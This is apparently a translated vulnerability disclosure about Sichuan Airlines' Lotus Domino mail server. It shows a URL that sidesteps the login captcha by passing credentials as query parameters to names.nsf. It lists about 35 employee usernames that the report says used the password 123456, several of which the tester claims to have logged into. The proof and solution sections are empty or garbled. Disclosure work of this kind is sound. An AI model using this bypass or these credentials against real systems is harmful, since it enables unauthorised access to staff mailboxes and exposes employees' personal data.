Air Security-Sichuan Airlines's alternative brute-force bypass Verification Code (resulting in leakage of internal information)

Air Security-Sichuan Airlines's alternative brute-force bypass Verification Code (resulting in leakage of internal information)

RT

Detailed description:

High RANK; Sichuan Airlines's MAIL system uses IBM Lotus Domino MAIL Server with verification code;

Burst Point: http ://**.**.**.**/

Use the following link to crack an artifact:

**.**.**.**/names.nsf?Login&Password=123456&Username=%E5%B4%94%E6%AD%A6%E5%8D%AB

After discovering a large number of weak passwords, we tested and logged on to several of them:

huangsha123456luogong123456dengcui123456gaomin123456leixiang123456hugang123456hanbin123456liucai123456luocan123456denghao123456xiapeng123456zhaojuan123456jinpeng123456lvkai123456chenggong123456zhudan123456jiangmin123456luosen123456xiongxiong123456songgang123456donghai123456luoyu123456zhaogang123456liaoshu123456liuyao123456houfei123456liangxia123456tanghua123456wangshu123456zhujie123456zhoubo123456zhongye123456huanglin123456yangqiao123456

Massive information leakage:

Proof of vulnerability:

Proven

Solution:

For OA, I have rarely met this one!